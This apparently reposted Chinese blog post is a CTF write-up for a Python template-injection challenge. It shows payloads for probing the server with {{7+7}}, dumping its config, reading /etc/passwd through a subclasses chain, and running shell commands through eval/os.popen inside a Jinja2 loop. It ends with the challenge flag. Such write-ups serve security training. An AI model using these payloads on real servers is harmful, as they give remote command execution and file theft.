zoukankan      html  css  js  c++  java
  • 攻防世界WEB高手进阶之python_template_injection

    python模板注入

    看了一堆文章,也不是看的很明白,反而把题目做出来了

    大概思路如下

    简单探测

    http://111.198.29.45:42611/{{7+7}}

    返回

     

    说明服务器执行了{{}}里面这一段代码

    利用{{ config.items() }}可以查看服务器的配置信息

    读取passwd信息

    {{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}
    

     执行成功

    Python3代码

    执行下面这一段代码

    {% for c in [].__class__.__base__.__subclasses__() %}
    {% if c.__name__ == 'catch_warnings' %}
      {% for b in c.__init__.__globals__.values() %}   
      {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
        {% if 'eval' in b.keys() %}    //找到了
          {{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据
        {% endif %}
      {% endif %}
      {% endfor %}
    {% endif %}
    {% endfor %}
     
    

     列出文件

    修改一下命令

    ls 改成cat fl4g,就可以读取flag了

    {% for c in [].__class__.__base__.__subclasses__() %}
    
    {% if c.__name__ == 'catch_warnings' %}
    
      {% for b in c.__init__.__globals__.values() %}  
    
      {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数
    
        {% if 'eval' in b.keys() %}    //找到了
    
          {{ b['eval']('__import__("os").popen("cat fl4g").read()') }} 
    
        {% endif %}
    
      {% endif %}
    
      {% endfor %}
    
    {% endif %}
    
    {% endfor %}

    Get flag成功

    Flag: ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

    说起来参考了这几位师傅的文章,链接如下

    https://blog.csdn.net/iamsongyu/article/details/85861811

    https://www.cnblogs.com/wfzWebSecuity/p/9415641.html

    https://xz.aliyun.com/t/2908

  • 相关阅读:
    分布式id 实现方式
    windows查看端口占用以及关闭相应的进程
    spring boot Swagger 集成
    WebJars 进行 css js 资源文件管理
    HTTP Proxy Servlet 代理服务使用
    Netflix Falcor获取JSON数据
    graphql 新API 开发方式
    既使用maven又使用本地Jar包
    maven 几个插件的使用
    Linux有问必答:如何检查Linux的内存使用状况
  • 原文地址:https://www.cnblogs.com/mke2fs/p/11523005.html
Copyright © 2011-2022 走看看